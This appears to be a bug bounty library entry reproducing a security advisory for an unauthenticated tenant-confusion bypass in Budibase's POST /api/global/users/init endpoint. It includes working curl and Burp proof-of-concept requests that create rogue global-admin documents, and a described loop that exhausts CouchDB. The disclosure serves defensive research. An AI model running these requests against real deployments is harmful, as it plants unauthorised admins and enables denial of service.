# Budibase: Unauthenticated global-admin & database creation via tenant-confusion bypass of the one-time init guard (`POST /api/global/users/init`)

Unauthenticated POST /api/global/users/init on self-hosted Budibase accepts attacker-chosen tenantId, bypassing the one-time init guard to create rogue global-admin docs and unbounded CouchDB databases.

- Payout: Research
- Severity: high
- Program: Budibase
- Found by: Viv3kGupt4
- Disclosed: 2026-11-20
- CVE: CVE-2026-122247
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-25qc-m4pw-2w8r
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-25qc-m4pw-2w8r
- Tags: area:web domain:api domain:web impact:dos impact:integrity impact:privesc kind:research platform:ghsa sev:high tech:nodejs technique:source-review vuln:access-control vuln:auth-bypass vuln:dos vuln:privilege-escalation

**Target:** Worker API endpoint POST /api/global/users/init backed by CouchDB
**Root cause:** The one-time-init guard checkAnyUserExists() runs inside tenancy.doInTenant(tenantId) using an attacker-supplied tenantId, and NO_TENANCY_ENDPOINTS prevents pinning to 'default', so the guard inspects an empty attacker-chosen namespace instead of the real tenant.
**Steps:**
1. Confirm single-tenant config: `GET /api/system/environment` returns `{"multiTenancy":false,"cloud":false,"disableAccountPortal":false,"isDev":false}`.
2. Baseline: `POST /api/global/users/init` with `{"email":"pwn-default@evil.test","password":"Pwned!2026#bb","tenantId":"default"}` returns 403 'You cannot initialise once an global user has been created.'
3. Payload: same request with `"tenantId":"f7poc"` returns 200 with a persisted `us_...` id.
4. Re-init same tenantId returns 403, confirming the write persisted per-tenant.
5. Inspect CouchDB `_all_dbs`: new `f7poc_global-db` exists alongside `global-db`; document has `"admin": { "global": true }`, `"builder": { "global": true }`.
6. Loop unique tenantIds (a0001, a0002, ...) to create unbounded databases and admin docs.
**How found:** Source review of the worker API: noticed the init endpoint listed in PUBLIC_ENDPOINTS, NO_TENANCY_ENDPOINTS and NO_CSRF_ENDPOINTS, then traced that checkAnyUserExists() resolves getGlobalDB() from the request-body tenantId, hypothesizing the guard could be evaluated against an empty attacker-chosen namespace.
**Exploitation:** Unauthenticated network attacker sends POST /api/global/users/init with arbitrary tenantId; endpoint is public, CSRF-exempt, and cloudRestricted is a no-op when SELF_HOSTED=true. Each unique tenantId creates a new CouchDB database and a global-admin user document. The injected admin cannot log in while multiTenancy:false (login forces default tenant), so demonstrated impact is guard bypass, persistent datastore writes, DoS via unbounded DB creation, and latent rogue admins that activate if multi-tenancy is enabled or during migration/restore.
**Escalation:** Looping unique tenantIds scales the write primitive into resource exhaustion against CouchDB (disk, inodes, file descriptors, _dbs metadata shard).
**Insight:** When an endpoint is exempted from tenancy middleware, any guard that reads tenant-scoped state is attacker-scoped: look for PUBLIC/NO_TENANCY/NO_CSRF endpoint lists and check whether 'already initialized' or 'exists' checks resolve a namespace from request input rather than the deployment invariant.

## Proof of concept (copied exactly from the original report)

**Unauthenticated init with attacker-chosen tenantId creates admin**

```
curl -s -i -X POST 'http://127.0.0.1:3014/api/global/users/init' \
  -H 'Content-Type: application/json' \
  -d '{"email":"pwn-f7poc@evil.test","password":"Pwned!2026#bb","tenantId":"f7poc"}'

**Burp - Request**

POST /api/global/users/init HTTP/1.1
Host: 127.0.0.1:3014
Content-Type: application/json
Content-Length: 78

{"email":"pwn-f7poc@evil.test","password":"Pwned!2026#bb","tenantId":"f7poc"}

**Burp - Response**

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8

{"_id":"us_d0c2b6c9014a43e2899a2770d2e6280c","_rev":"1-554ff75f0064fb15f92e341faad7263b","email":"pwn-f7poc@evil.test"}
```

**Baseline default tenant correctly returns 403**

```
curl -s -i -X POST 'http://127.0.0.1:3014/api/global/users/init' \
  -H 'Content-Type: application/json' \
  -d '{"email":"pwn-default@evil.test","password":"Pwned!2026#bb","tenantId":"default"}'

**Burp - Request**

POST /api/global/users/init HTTP/1.1
Host: 127.0.0.1:3014
Content-Type: application/json
Content-Length: 82

{"email":"pwn-default@evil.test","password":"Pwned!2026#bb","tenantId":"default"}

**Burp - Response**

HTTP/1.1 403 Forbidden
Content-Type: application/json; charset=utf-8

{"message":"You cannot initialise once an global user has been created.","status":403}
```

**Rogue global-admin document in new tenant DB**

```
{
  "_id": "us_d0c2b6c9014a43e2899a2770d2e6280c",
  "email": "pwn-f7poc@evil.test",
  "admin":   { "global": true },
  "builder": { "global": true },
  "tenantId": "default",
  "roles": {}
}
```

